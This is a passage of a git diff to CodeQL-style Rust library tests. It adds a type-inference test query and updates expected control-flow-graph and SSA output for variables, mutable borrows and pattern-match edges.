+| main.rs:429:17:429:27 | ... .a | main.rs:393:9:393:12 | StructField |
+| main.rs:431:17:431:32 | ... .a | main.rs:393:9:393:12 | StructField |
+| main.rs:438:13:438:18 | self.a | main.rs:393:9:393:12 | StructField |
+| main.rs:446:26:446:31 | self.a | main.rs:398:9:398:12 | StructField |
+| main.rs:659:13:659:18 | self.0 | main.rs:652:17:652:17 | TupleField |
+| main.rs:663:14:663:19 | self.0 | main.rs:652:17:652:17 | TupleField |
+| main.rs:667:14:667:19 | self.0 | main.rs:652:17:652:17 | TupleField |
+| main.rs:693:26:693:29 | x5.0 | main.rs:652:17:652:17 | TupleField |
diff --git a/rust/ql/test/library-tests/type-inference/type-inference.ql b/rust/ql/test/library-tests/type-inference/type-inference.ql
new file mode 100644
index 000000000000..67f02c96cfa8
--- /dev/null
+++ b/rust/ql/test/library-tests/type-inference/type-inference.ql
@@ -0,0 +1,18 @@
+import rust
+import codeql.rust.internal.TypeInference as TypeInference
+import TypeInference
+import utils.test.InlineExpectationsTest
+
+query predicate inferType(AstNode n, TypePath path, Type t) {
+  t = TypeInference::inferType(n, path)
+}
+
+query predicate resolveMethodCallExpr(MethodCallExpr mce, Function f) {
+  f = resolveMethodCallExpr(mce)
+}
+
+query predicate resolveFieldExpr(FieldExpr fe, AstNode target) {
+  target = resolveStructFieldExpr(fe)
+  or
+  target = resolveTupleFieldExpr(fe)
+}
diff --git a/rust/ql/test/library-tests/variables/Cfg.expected b/rust/ql/test/library-tests/variables/Cfg.expected
index a3b64c9100cb..1f25c751eaf7 100644
--- a/rust/ql/test/library-tests/variables/Cfg.expected
+++ b/rust/ql/test/library-tests/variables/Cfg.expected
@@ -221,7 +221,6 @@ edges
 | main.rs:87:8:88:12 | let ... = s1 | main.rs:88:11:88:12 | s1 |  |
 | main.rs:87:12:87:23 | Some(...) | main.rs:87:5:90:5 | if ... {...} | no-match |
 | main.rs:87:12:87:23 | Some(...) | main.rs:87:21:87:22 | s2 | match |
-| main.rs:87:17:87:22 | ref s2 | main.rs:87:5:90:5 | if ... {...} | no-match |
 | main.rs:87:17:87:22 | ref s2 | main.rs:89:9:89:22 | ExprStmt | match |
 | main.rs:87:21:87:22 | s2 | main.rs:87:17:87:22 | ref s2 |  |
 | main.rs:88:11:88:12 | s1 | main.rs:87:12:87:23 | Some(...) |  |
@@ -237,7 +236,6 @@ edges
 | main.rs:94:9:94:16 | Some(...) | main.rs:94:14:94:15 | x5 | match |
 | main.rs:94:9:94:16 | Some(...) | main.rs:96:13:96:19 | MacroStmts | no-match |
 | main.rs:94:14:94:15 | x5 | main.rs:94:14:94:15 | x5 |  |
-| main.rs:94:14:94:15 | x5 | main.rs:96:13:96:19 | MacroStmts | no-match |
 | main.rs:94:14:94:15 | x5 | main.rs:98:5:98:18 | ExprStmt | match |
 | main.rs:94:34:94:37 | Some | main.rs:94:39:94:42 | "x5" |  |
 | main.rs:94:34:94:43 | Some(...) | main.rs:94:9:94:16 | Some(...) |  |
@@ -267,7 +265,6 @@ edges
 | main.rs:104:11:105:12 | let ... = s1 | main.rs:105:11:105:12 | s1 |  |
 | main.rs:104:15:104:26 | Some(...) | main.rs:104:5:107:5 | while ... { ... } | no-match |
 | main.rs:104:15:104:26 | Some(...) | main.rs:104:24:104:25 | s2 | match |
-| main.rs:104:20:104:25 | ref s2 | main.rs:104:5:107:5 | while ... { ... } | no-match |
 | main.rs:104:20:104:25 | ref s2 | main.rs:106:9:106:22 | ExprStmt | match |
 | main.rs:104:24:104:25 | s2 | main.rs:104:20:104:25 | ref s2 |  |
 | main.rs:105:11:105:12 | s1 | main.rs:104:15:104:26 | Some(...) |  |
@@ -304,7 +301,6 @@ edges
 | main.rs:116:9:116:16 | Some(...) | main.rs:121:9:121:12 | None | no-match |
 | main.rs:116:14:116:15 | y1 | main.rs:116:14:116:15 | y1 |  |
 | main.rs:116:14:116:15 | y1 | main.rs:119:13:119:21 | print_i64 | match |
-| main.rs:116:14:116:15 | y1 | main.rs:121:9:121:12 | None | no-match |
 | main.rs:118:9:120:9 | { ... } | main.rs:114:5:122:5 | match x6 { ... } |  |
 | main.rs:119:13:119:21 | print_i64 | main.rs:119:23:119:24 | y1 |  |
 | main.rs:119:13:119:25 | print_i64(...) | main.rs:118:9:120:9 | { ... } |  |
@@ -457,7 +453,6 @@ edges
 | main.rs:191:9:191:44 | ... \| ... | main.rs:192:16:192:24 | print_i64 | match |
 | main.rs:191:22:191:23 | a3 | main.rs:191:9:191:44 | ... \| ... | match |
 | main.rs:191:22:191:23 | a3 | main.rs:191:22:191:23 | a3 |  |
-| main.rs:191:22:191:23 | a3 | main.rs:191:28:191:44 | ...::Right(...) | no-match |
 | main.rs:191:28:191:44 | ...::Right(...) | main.rs:191:42:191:43 | a3 | match |
 | main.rs:191:42:191:43 | a3 | main.rs:191:9:191:44 | ... \| ... | match |
 | main.rs:191:42:191:43 | a3 | main.rs:191:42:191:43 | a3 |  |
@@ -481,12 +476,10 @@ edges
 | main.rs:205:9:205:81 | ... \| ... \| ... | main.rs:206:16:206:24 | print_i64 | match |
 | main.rs:205:28:205:29 | a4 | main.rs:205:9:205:81 | ... \| ... \| ... | match |
 | main.rs:205:28:205:29 | a4 | main.rs:205:28:205:29 | a4 |  |
-| main.rs:205:28:205:29 | a4 | main.rs:205:34:205:56 | ...::Second(...) | no-match |
 | main.rs:205:34:205:56 | ...::Second(...) | main.rs:205:54:205:55 | a4 | match |
 | main.rs:205:34:205:56 | ...::Second(...) | main.rs:205:60:205:81 | ...::Third(...) | no-match |
 | main.rs:205:54:205:55 | a4 | main.rs:205:9:205:81 | ... \| ... \| ... | match |
 | main.rs:205:54:205:55 | a4 | main.rs:205:54:205:55 | a4 |  |
-| main.rs:205:54:205:55 | a4 | main.rs:205:60:205:81 | ...::Third(...) | no-match |
 | main.rs:205:60:205:81 | ...::Third(...) | main.rs:205:79:205:80 | a4 | match |
 | main.rs:205:79:205:80 | a4 | main.rs:205:9:205:81 | ... \| ... \| ... | match |
 | main.rs:205:79:205:80 | a4 | main.rs:205:79:205:80 | a4 |  |
@@ -503,10 +496,8 @@ edges
 | main.rs:209:10:209:57 | [match(true)] ... \| ... | main.rs:209:9:209:83 | ... \| ... | match |
 | main.rs:209:29:209:30 | a5 | main.rs:209:10:209:57 | [match(true)] ... \| ... | match |
 | main.rs:209:29:209:30 | a5 | main.rs:209:29:209:30 | a5 |  |
-| main.rs:209:29:209:30 | a5 | main.rs:209:35:209:57 | ...::Second(...) | no-match |
 | main.rs:209:35:209:57 | ...::Second(...) | main.rs:209:10:209:57 | [match(false)] ... \| ... | no-match |
 | main.rs:209:35:209:57 | ...::Second(...) | main.rs:209:55:209:56 | a5 | match |
-| main.rs:209:55:209:56 | a5 | main.rs:209:10:209:57 | [match(false)] ... \| ... | no-match |
 | main.rs:209:55:209:56 | a5 | main.rs:209:10:209:57 | [match(true)] ... \| ... | match |
 | main.rs:209:55:209:56 | a5 | main.rs:209:55:209:56 | a5 |  |
 | main.rs:209:62:209:83 | ...::Third(...) | main.rs:209:81:209:82 | a5 | match |
@@ -522,13 +513,11 @@ edges
 | main.rs:213:9:213:83 | ... \| ... | main.rs:214:16:214:24 | print_i64 | match |
 | main.rs:213:28:213:29 | a6 | main.rs:213:9:213:83 | ... \| ... | match |
 | main.rs:213:28:213:29 | a6 | main.rs:213:28:213:29 | a6 |  |
-| main.rs:213:28:213:29 | a6 | main.rs:213:35:213:57 | ...::Second(...) | no-match |
 | main.rs:213:35:213:57 | ...::Second(...) | main.rs:213:55:213:56 | a6 | match |
 | main.rs:213:35:213:57 | ...::Second(...) | main.rs:213:61:213:82 | ...::Third(...) | no-match |
 | main.rs:213:35:213:82 | ... \| ... | main.rs:213:9:213:83 | ... \| ... | match |
 | main.rs:213:55:213:56 | a6 | main.rs:213:35:213:82 | ... \| ... | match |
 | main.rs:213:55:213:56 | a6 | main.rs:213:55:213:56 | a6 |  |
-| main.rs:213:55:213:56 | a6 | main.rs:213:61:213:82 | ...::Third(...) | no-match |
 | main.rs:213:61:213:82 | ...::Third(...) | main.rs:213:80:213:81 | a6 | match |
 | main.rs:213:80:213:81 | a6 | main.rs:213:35:213:82 | ... \| ... | match |
 | main.rs:213:80:213:81 | a6 | main.rs:213:80:213:81 | a6 |  |
@@ -552,10 +541,8 @@ edges
 | main.rs:221:9:221:44 | [match(true)] ... \| ... | main.rs:222:16:222:17 | a7 | match |
 | main.rs:221:22:221:23 | a7 | main.rs:221:9:221:44 | [match(true)] ... \| ... | match |
 | main.rs:221:22:221:23 | a7 | main.rs:221:22:221:23 | a7 |  |
-| main.rs:221:22:221:23 | a7 | main.rs:221:28:221:44 | ...::Right(...) | no-match |
 | main.rs:221:28:221:44 | ...::Right(...) | main.rs:221:9:221:44 | [match(false)] ... \| ... | no-match |
 | main.rs:221:28:221:44 | ...::Right(...) | main.rs:221:42:221:43 | a7 | match |
-| main.rs:221:42:221:43 | a7 | main.rs:221:9:221:44 | [match(false)] ... \| ... | no-match |
 | main.rs:221:42:221:43 | a7 | main.rs:221:9:221:44 | [match(true)] ... \| ... | match |
 | main.rs:221:42:221:43 | a7 | main.rs:221:42:221:43 | a7 |  |
 | main.rs:222:16:222:17 | a7 | main.rs:222:21:222:21 | 0 |  |
@@ -586,10 +573,8 @@ edges
 | main.rs:233:14:233:51 | [match(true)] ... \| ... | main.rs:232:13:232:13 | e | match |
 | main.rs:233:27:233:29 | a11 | main.rs:233:14:233:51 | [match(true)] ... \| ... | match |
 | main.rs:233:27:233:29 | a11 | main.rs:233:27:233:29 | a11 |  |
-| main.rs:233:27:233:29 | a11 | main.rs:233:34:233:51 | ...::Right(...) | no-match |
 | main.rs:233:34:233:51 | ...::Right(...) | main.rs:233:14:233:51 | [match(false)] ... \| ... | no-match |
 | main.rs:233:34:233:51 | ...::Right(...) | main.rs:233:48:233:50 | a11 | match |
-| main.rs:233:48:233:50 | a11 | main.rs:233:14:233:51 | [match(false)] ... \| ... | no-match |
 | main.rs:233:48:233:50 | a11 | main.rs:233:14:233:51 | [match(true)] ... \| ... | match |
 | main.rs:233:48:233:50 | a11 | main.rs:233:48:233:50 | a11 |  |
 | main.rs:234:12:240:9 | { ... } | main.rs:231:5:242:5 | match either { ... } |  |
@@ -601,7 +586,6 @@ edges
 | main.rs:236:16:237:15 | let ... = e | main.rs:237:15:237:15 | e |  |
 | main.rs:236:20:236:36 | ...::Left(...) | main.rs:236:13:239:13 | if ... {...} | no-match |
 | main.rs:236:20:236:36 | ...::Left(...) | main.rs:236:33:236:35 | a12 | match |
-| main.rs:236:33:236:35 | a12 | main.rs:236:13:239:13 | if ... {...} | no-match |
 | main.rs:236:33:236:35 | a12 | main.rs:236:33:236:35 | a12 |  |
 | main.rs:236:33:236:35 | a12 | main.rs:238:17:238:32 | ExprStmt | match |
 | main.rs:237:15:237:15 | e | main.rs:236:20:236:36 | ...::Left(...) |  |
@@ -629,17 +613,14 @@ edges
 | main.rs:255:9:255:109 | ... \| ... \| ... | main.rs:256:16:256:24 | print_i64 | match |
 | main.rs:255:27:255:29 | a13 | main.rs:255:9:255:109 | ... \| ... \| ... | match |
 | main.rs:255:27:255:29 | a13 | main.rs:255:27:255:29 | a13 |  |
-| main.rs:255:27:255:29 | a13 | main.rs:255:35:255:57 | ...::Second(...) | no-match |
 | main.rs:255:35:255:57 | ...::Second(...) | main.rs:255:54:255:56 | a13 | match |
 | main.rs:255:35:255:57 | ...::Second(...) | main.rs:255:61:255:82 | ...::Third(...) | no-match |
 | main.rs:255:35:255:82 | [match(false)] ... \| ... | main.rs:255:87:255:109 | ...::Fourth(...) | no-match |
 | main.rs:255:35:255:82 | [match(true)] ... \| ... | main.rs:255:9:255:109 | ... \| ... \| ... | match |
 | main.rs:255:54:255:56 | a13 | main.rs:255:35:255:82 | [match(true)] ... \| ... | match |
 | main.rs:255:54:255:56 | a13 | main.rs:255:54:255:56 | a13 |  |
-| main.rs:255:54:255:56 | a13 | main.rs:255:61:255:82 | ...::Third(...) | no-match |
 | main.rs:255:61:255:82 | ...::Third(...) | main.rs:255:35:255:82 | [match(false)] ... \| ... | no-match |
 | main.rs:255:61:255:82 | ...::Third(...) | main.rs:255:79:255:81 | a13 | match |
-| main.rs:255:79:255:81 | a13 | main.rs:255:35:255:82 | [match(false)] ... \| ... | no-match |
 | main.rs:255:79:255:81 | a13 | main.rs:255:35:255:82 | [match(true)] ... \| ... | match |
 | main.rs:255:79:255:81 | a13 | main.rs:255:79:255:81 | a13 |  |
 | main.rs:255:87:255:109 | ...::Fourth(...) | main.rs:255:106:255:108 | a13 | match |
@@ -680,7 +661,6 @@ edges
 | main.rs:272:6:272:41 | ... \| ... | main.rs:272:5:272:50 | ...: Either | match |
 | main.rs:272:19:272:20 | a9 | main.rs:272:6:272:41 | ... \| ... | match |
 | main.rs:272:19:272:20 | a9 | main.rs:272:19:272:20 | a9 |  |
-| main.rs:272:19:272:20 | a9 | main.rs:272:25:272:41 | ...::Right(...) | no-match |
 | main.rs:272:25:272:41 | ...::Right(...) | main.rs:272:39:272:40 | a9 | match |
 | main.rs:272:39:272:40 | a9 | main.rs:272:6:272:41 | ... \| ... | match |
 | main.rs:272:39:272:40 | a9 | main.rs:272:39:272:40 | a9 |  |
diff --git a/rust/ql/test/library-tests/variables/Ssa.expected b/rust/ql/test/library-tests/variables/Ssa.expected
index 57245cc30e7e..05c6f57045d3 100644
--- a/rust/ql/test/library-tests/variables/Ssa.expected
+++ b/rust/ql/test/library-tests/variables/Ssa.expected
@@ -1,12 +1,3 @@
-nonSsaVariable
-| main.rs:371:13:371:13 | a |
-| main.rs:379:13:379:13 | i |
-| main.rs:402:13:402:13 | x |
-| main.rs:409:13:409:13 | z |
-| main.rs:422:13:422:13 | x |
-| main.rs:456:13:456:13 | z |
-| main.rs:531:13:531:13 | a |
-| main.rs:568:11:568:11 | a |
 definition
 | main.rs:3:14:3:14 | s | main.rs:3:14:3:14 | s |
 | main.rs:7:14:7:14 | i | main.rs:7:14:7:14 | i |
@@ -110,13 +101,24 @@ definition
 | main.rs:355:14:355:14 | x | main.rs:355:14:355:14 | x |
 | main.rs:362:9:362:9 | v | main.rs:362:9:362:9 | v |
 | main.rs:364:9:364:12 | text | main.rs:364:9:364:12 | text |
+| main.rs:371:13:371:13 | a | main.rs:371:13:371:13 | a |
+| main.rs:372:5:372:5 | a | main.rs:371:13:371:13 | a |
+| main.rs:374:6:374:11 | &mut a | main.rs:371:13:371:13 | a |
+| main.rs:379:13:379:13 | i | main.rs:379:13:379:13 | i |
 | main.rs:380:9:380:13 | ref_i | main.rs:380:9:380:13 | ref_i |
+| main.rs:381:9:381:14 | &mut i | main.rs:379:13:379:13 | i |
 | main.rs:386:17:386:17 | x | main.rs:386:17:386:17 | x |
 | main.rs:393:22:393:22 | x | main.rs:393:22:393:22 | x |
 | main.rs:393:39:393:39 | y | main.rs:393:39:393:39 | y |
+| main.rs:402:13:402:13 | x | main.rs:402:13:402:13 | x |
 | main.rs:403:9:403:9 | y | main.rs:403:9:403:9 | y |
+| main.rs:404:22:404:27 | &mut x | main.rs:402:13:402:13 | x |
+| main.rs:409:13:409:13 | z | main.rs:409:13:409:13 | z |
 | main.rs:410:9:410:9 | w | main.rs:410:9:410:9 | w |
+| main.rs:413:9:413:14 | &mut z | main.rs:409:13:409:13 | z |
+| main.rs:422:13:422:13 | x | main.rs:422:13:422:13 | x |
 | main.rs:423:9:423:9 | y | main.rs:423:9:423:9 | y |
+| main.rs:424:9:424:14 | &mut x | main.rs:422:13:422:13 | x |
 | main.rs:430:9:430:9 | x | main.rs:430:9:430:9 | x |
 | main.rs:432:9:432:11 | cap | main.rs:432:9:432:11 | cap |
 | main.rs:432:15:434:5 | <captured entry> x | main.rs:430:9:430:9 | x |
@@ -127,7 +129,9 @@ definition
 | main.rs:450:13:450:20 | closure2 | main.rs:450:13:450:20 | closure2 |
 | main.rs:451:9:451:9 | y | main.rs:448:13:448:13 | y |
 | main.rs:453:5:453:14 | <captured exit> y | main.rs:448:13:448:13 | y |
+| main.rs:456:13:456:13 | z | main.rs:456:13:456:13 | z |
 | main.rs:458:13:458:20 | closure3 | main.rs:458:13:458:20 | closure3 |
+| main.rs:458:24:460:5 | <captured entry> z | main.rs:456:13:456:13 | z |
 | main.rs:466:13:466:13 | i | main.rs:466:13:466:13 | i |
 | main.rs:467:9:467:13 | block | main.rs:467:9:467:13 | block |
 | main.rs:468:9:468:9 | i | main.rs:466:13:466:13 | i |
@@ -146,11 +150,16 @@ definition
 | main.rs:521:17:521:17 | f | main.rs:521:17:521:17 | f |
 | main.rs:521:21:524:9 | <captured entry> self | main.rs:520:23:520:26 | self |
 | main.rs:521:22:521:22 | n | main.rs:521:22:521:22 | n |
+| main.rs:531:13:531:13 | a | main.rs:531:13:531:13 | a |
+| main.rs:532:15:532:15 | a | main.rs:531:13:531:13 | a |
+| main.rs:535:5:535:5 | a | main.rs:531:13:531:13 | a |
 | main.rs:540:13:540:13 | a | main.rs:540:13:540:13 | a |
 | main.rs:544:5:544:5 | a | main.rs:540:13:540:13 | a |
 | main.rs:549:9:549:9 | x | main.rs:549:9:549:9 | x |
 | main.rs:553:9:553:9 | z | main.rs:553:9:553:9 | z |
 | main.rs:562:15:562:18 | self | main.rs:562:15:562:18 | self |
+| main.rs:568:11:568:11 | a | main.rs:568:11:568:11 | a |
+| main.rs:569:3:569:3 | a | main.rs:568:11:568:11 | a |
 | main.rs:593:9:593:22 | var_from_macro | main.rs:593:9:593:22 | var_from_macro |
 | main.rs:594:9:594:25 | var_in_macro | main.rs:594:9:594:25 | var_in_macro |
 | main.rs:596:9:596:20 | var_in_macro | main.rs:596:9:596:20 | var_in_macro |
@@ -246,7 +255,12 @@ read
 | main.rs:355:14:355:14 | x | main.rs:355:14:355:14 | x | main.rs:356:13:356:13 | x |
 | main.rs:362:9:362:9 | v | main.rs:362:9:362:9 | v | main.rs:365:12:365:12 | v |
 | main.rs:364:9:364:12 | text | main.rs:364:9:364:12 | text | main.rs:366:19:366:22 | text |
+| main.rs:372:5:372:5 | a | main.rs:371:13:371:13 | a | main.rs:373:15:373:15 | a |
+| main.rs:372:5:372:5 | a | main.rs:371:13:371:13 | a | main.rs:374:11:374:11 | a |
+| main.rs:374:6:374:11 | &mut a | main.rs:371:13:371:13 | a | main.rs:375:15:375:15 | a |
+| main.rs:379:13:379:13 | i | main.rs:379:13:379:13 | i | main.rs:381:14:381:14 | i |
 | main.rs:380:9:380:13 | ref_i | main.rs:380:9:380:13 | ref_i | main.rs:382:6:382:10 | ref_i |
+| main.rs:381:9:381:14 | &mut i | main.rs:379:13:379:13 | i | main.rs:383:15:383:15 | i |
 | main.rs:386:17:386:17 | x | main.rs:386:17:386:17 | x | main.rs:387:6:387:6 | x |
 | main.rs:386:17:386:17 | x | main.rs:386:17:386:17 | x | main.rs:388:10:388:10 | x |
 | main.rs:386:17:386:17 | x | main.rs:386:17:386:17 | x | main.rs:389:10:389:10 | x |
@@ -256,10 +270,17 @@ read
 | main.rs:393:22:393:22 | x | main.rs:393:22:393:22 | x | main.rs:396:10:396:10 | x |
 | main.rs:393:22:393:22 | x | main.rs:393:22:393:22 | x | main.rs:398:9:398:9 | x |
 | main.rs:393:39:393:39 | y | main.rs:393:39:393:39 | y | main.rs:397:6:397:6 | y |
+| main.rs:402:13:402:13 | x | main.rs:402:13:402:13 | x | main.rs:404:27:404:27 | x |
 | main.rs:403:9:403:9 | y | main.rs:403:9:403:9 | y | main.rs:405:6:405:6 | y |
+| main.rs:404:22:404:27 | &mut x | main.rs:402:13:402:13 | x | main.rs:407:15:407:15 | x |
+| main.rs:404:22:404:27 | &mut x | main.rs:402:13:402:13 | x | main.rs:411:19:411:19 | x |
+| main.rs:409:13:409:13 | z | main.rs:409:13:409:13 | z | main.rs:413:14:413:14 | z |
 | main.rs:410:9:410:9 | w | main.rs:410:9:410:9 | w | main.rs:414:9:414:9 | w |
 | main.rs:410:9:410:9 | w | main.rs:410:9:410:9 | w | main.rs:416:7:416:7 | w |
+| main.rs:413:9:413:14 | &mut z | main.rs:409:13:409:13 | z | main.rs:418:15:418:15 | z |
+| main.rs:422:13:422:13 | x | main.rs:422:13:422:13 | x | main.rs:424:14:424:14 | x |
 | main.rs:423:9:423:9 | y | main.rs:423:9:423:9 | y | main.rs:425:6:425:6 | y |
+| main.rs:424:9:424:14 | &mut x | main.rs:422:13:422:13 | x | main.rs:426:15:426:15 | x |
 | main.rs:430:9:430:9 | x | main.rs:430:9:430:9 | x | main.rs:436:15:436:15 | x |
 | main.rs:432:9:432:11 | cap | main.rs:432:9:432:11 | cap | main.rs:435:5:435:7 | cap |
 | main.rs:432:15:434:5 | <captured entry> x | main.rs:430:9:430:9 | x | main.rs:433:19:433:19 | x |
@@ -268,7 +289,9 @@ read
 | main.rs:442:20:444:5 | <captured entry> x | main.rs:440:13:440:13 | x | main.rs:443:19:443:19 | x |
 | main.rs:450:13:450:20 | closure2 | main.rs:450:13:450:20 | closure2 | main.rs:453:5:453:12 | closure2 |
 | main.rs:453:5:453:14 | <captured exit> y | main.rs:448:13:448:13 | y | main.rs:454:15:454:15 | y |
+| main.rs:456:13:456:13 | z | main.rs:456:13:456:13 | z | main.rs:462:15:462:15 | z |
 | main.rs:458:13:458:20 | closure3 | main.rs:458:13:458:20 | closure3 | main.rs:461:5:461:12 | closure3 |
+| main.rs:458:24:460:5 | <captured entry> z | main.rs:456:13:456:13 | z | main.rs:459:9:459:9 | z |
 | main.rs:467:9:467:13 | block | main.rs:467:9:467:13 | block | main.rs:471:5:471:9 | block |
 | main.rs:471:5:471:15 | <captured exit> i | main.rs:466:13:466:13 | i | main.rs:472:15:472:15 | i |
 | main.rs:475:8:475:8 | b | main.rs:475:8:475:8 | b | main.rs:479:8:479:8 | b |
@@ -291,6 +314,10 @@ read
 | main.rs:521:17:521:17 | f | main.rs:521:17:521:17 | f | main.rs:526:9:526:9 | f |
 | main.rs:521:21:524:9 | <captured entry> self | main.rs:520:23:520:26 | self | main.rs:523:13:523:16 | self |
 | main.rs:521:22:521:22 | n | main.rs:521:22:521:22 | n | main.rs:523:25:523:25 | n |
+| main.rs:531:13:531:13 | a | main.rs:531:13:531:13 | a | main.rs:532:15:532:15 | a |
+| main.rs:532:15:532:15 | a | main.rs:531:13:531:13 | a | main.rs:533:5:533:5 | a |
+| main.rs:532:15:532:15 | a | main.rs:531:13:531:13 | a | main.rs:534:15:534:15 | a |
+| main.rs:535:5:535:5 | a | main.rs:531:13:531:13 | a | main.rs:536:15:536:15 | a |
 | main.rs:540:13:540:13 | a | main.rs:540:13:540:13 | a | main.rs:541:15:541:15 | a |
 | main.rs:540:13:540:13 | a | main.rs:540:13:540:13 | a | main.rs:542:5:542:5 | a |
 | main.rs:540:13:540:13 | a | main.rs:540:13:540:13 | a | main.rs:543:15:543:15 | a |
@@ -299,6 +326,8 @@ read
 | main.rs:549:9:549:9 | x | main.rs:549:9:549:9 | x | main.rs:551:15:551:15 | x |
 | main.rs:553:9:553:9 | z | main.rs:553:9:553:9 | z | main.rs:554:20:554:20 | z |
 | main.rs:562:15:562:18 | self | main.rs:562:15:562:18 | self | main.rs:563:6:563:9 | self |
+| main.rs:568:11:568:11 | a | main.rs:568:11:568:11 | a | main.rs:569:3:569:3 | a |
+| main.rs:569:3:569:3 | a | main.rs:568:11:568:11 | a | main.rs:571:13:571:13 | a |
 | main.rs:593:9:593:22 | var_from_macro | main.rs:593:9:593:22 | var_from_macro | main.rs:595:15:595:28 | var_from_macro |
 | main.rs:594:9:594:25 | var_in_macro | main.rs:594:9:594:25 | var_in_macro | main.rs:594:9:594:25 | var_in_macro |
 | main.rs:596:9:596:20 | var_in_macro | main.rs:596:9:596:20 | var_in_macro | main.rs:601:15:601:26 | var_in_macro |
@@ -382,13 +411,24 @@ firstRead
 | main.rs:355:14:355:14 | x | main.rs:355:14:355:14 | x | main.rs:356:13:356:13 | x |
 | main.rs:362:9:362:9 | v | main.rs:362:9:362:9 | v | main.rs:365:12:365:12 | v |
 | main.rs:364:9:364:12 | text | main.rs:364:9:364:12 | text | main.rs:366:19:366:22 | text |
+| main.rs:371:13:371:13 | a | main.rs:371:13:371:13 | a | main.rs:372:5:372:5 | a |
+| main.rs:372:5:372:5 | a | main.rs:371:13:371:13 | a | main.rs:373:15:373:15 | a |
+| main.rs:374:6:374:11 | &mut a | main.rs:371:13:371:13 | a | main.rs:375:15:375:15 | a |
+| main.rs:379:13:379:13 | i | main.rs:379:13:379:13 | i | main.rs:381:14:381:14 | i |
 | main.rs:380:9:380:13 | ref_i | main.rs:380:9:380:13 | ref_i | main.rs:382:6:382:10 | ref_i |
+| main.rs:381:9:381:14 | &mut i | main.rs:379:13:379:13 | i | main.rs:383:15:383:15 | i |
 | main.rs:386:17:386:17 | x | main.rs:386:17:386:17 | x | main.rs:387:6:387:6 | x |
 | main.rs:393:22:393:22 | x | main.rs:393:22:393:22 | x | main.rs:394:6:394:6 | x |
 | main.rs:393:39:393:39 | y | main.rs:393:39:393:39 | y | main.rs:397:6:397:6 | y |
+| main.rs:402:13:402:13 | x | main.rs:402:13:402:13 | x | main.rs:404:27:404:27 | x |
 | main.rs:403:9:403:9 | y | main.rs:403:9:403:9 | y | main.rs:405:6:405:6 | y |
+| main.rs:404:22:404:27 | &mut x | main.rs:402:13:402:13 | x | main.rs:407:15:407:15 | x |
+| main.rs:409:13:409:13 | z | main.rs:409:13:409:13 | z | main.rs:413:14:413:14 | z |
 | main.rs:410:9:410:9 | w | main.rs:410:9:410:9 | w | main.rs:414:9:414:9 | w |
+| main.rs:413:9:413:14 | &mut z | main.rs:409:13:409:13 | z | main.rs:418:15:418:15 | z |
+| main.rs:422:13:422:13 | x | main.rs:422:13:422:13 | x | main.rs:424:14:424:14 | x |
 | main.rs:423:9:423:9 | y | main.rs:423:9:423:9 | y | main.rs:425:6:425:6 | y |
+| main.rs:424:9:424:14 | &mut x | main.rs:422:13:422:13 | x | main.rs:426:15:426:15 | x |
 | main.rs:430:9:430:9 | x | main.rs:430:9:430:9 | x | main.rs:436:15:436:15 | x |
 | main.rs:432:9:432:11 | cap | main.rs:432:9:432:11 | cap | main.rs:435:5:435:7 | cap |
 | main.rs:432:15:434:5 | <captured entry> x | main.rs:430:9:430:9 | x | main.rs:433:19:433:19 | x |
@@ -397,7 +437,9 @@ firstRead
 | main.rs:442:20:444:5 | <captured entry> x | main.rs:440:13:440:13 | x | main.rs:443:19:443:19 | x |
 | main.rs:450:13:450:20 | closure2 | main.rs:450:13:450:20 | closure2 | main.rs:453:5:453:12 | closure2 |
 | main.rs:453:5:453:14 | <captured exit> y | main.rs:448:13:448:13 | y | main.rs:454:15:454:15 | y |
+| main.rs:456:13:456:13 | z | main.rs:456:13:456:13 | z | main.rs:462:15:462:15 | z |
 | main.rs:458:13:458:20 | closure3 | main.rs:458:13:458:20 | closure3 | main.rs:461:5:461:12 | closure3 |
+| main.rs:458:24:460:5 | <captured entry> z | main.rs:456:13:456:13 | z | main.rs:459:9:459:9 | z |
 | main.rs:467:9:467:13 | block | main.rs:467:9:467:13 | block | main.rs:471:5:471:9 | block |
 | main.rs:471:5:471:15 | <captured exit> i | main.rs:466:13:466:13 | i | main.rs:472:15:472:15 | i |
 | main.rs:475:8:475:8 | b | main.rs:475:8:475:8 | b | main.rs:479:8:479:8 | b |
@@ -414,11 +456,16 @@ firstRead
 | main.rs:521:17:521:17 | f | main.rs:521:17:521:17 | f | main.rs:525:9:525:9 | f |
 | main.rs:521:21:524:9 | <captured entry> self | main.rs:520:23:520:26 | self | main.rs:523:13:523:16 | self |
 | main.rs:521:22:521:22 | n | main.rs:521:22:521:22 | n | main.rs:523:25:523:25 | n |
+| main.rs:531:13:531:13 | a | main.rs:531:13:531:13 | a | main.rs:532:15:532:15 | a |
+| main.rs:532:15:532:15 | a | main.rs:531:13:531:13 | a | main.rs:533:5:533:5 | a |
+| main.rs:535:5:535:5 | a | main.rs:531:13:531:13 | a | main.rs:536:15:536:15 | a |
 | main.rs:540:13:540:13 | a | main.rs:540:13:540:13 | a | main.rs:541:15:541:15 | a |
 | main.rs:544:5:544:5 | a | main.rs:540:13:540:13 | a | main.rs:545:15:545:15 | a |
 | main.rs:549:9:549:9 | x | main.rs:549:9:549:9 | x | main.rs:550:20:550:20 | x |
 | main.rs:553:9:553:9 | z | main.rs:553:9:553:9 | z | main.rs:554:20:554:20 | z |
 | main.rs:562:15:562:18 | self | main.rs:562:15:562:18 | self | main.rs:563:6:563:9 | self |
+| main.rs:568:11:568:11 | a | main.rs:568:11:568:11 | a | main.rs:569:3:569:3 | a |
+| main.rs:569:3:569:3 | a | main.rs:568:11:568:11 | a | main.rs:571:13:571:13 | a |
 | main.rs:593:9:593:22 | var_from_macro | main.rs:593:9:593:22 | var_from_macro | main.rs:595:15:595:28 | var_from_macro |
 | main.rs:594:9:594:25 | var_in_macro | main.rs:594:9:594:25 | var_in_macro | main.rs:594:9:594:25 | var_in_macro |
 | main.rs:596:9:596:20 | var_in_macro | main.rs:596:9:596:20 | var_in_macro | main.rs:601:15:601:26 | var_in_macro |
@@ -437,12 +484,14 @@ adjacentReads
 | main.rs:290:9:290:11 | a10 | main.rs:279:13:279:15 | a10 | main.rs:292:9:292:11 | a10 | main.rs:296:15:296:17 | a10 |
 | main.rs:290:9:290:11 | a10 | main.rs:279:13:279:15 | a10 | main.rs:296:15:296:17 | a10 | main.rs:310:15:310:17 | a10 |
 | main.rs:333:9:333:9 | f | main.rs:333:9:333:9 | f | main.rs:336:15:336:15 | f | main.rs:342:15:342:15 | f |
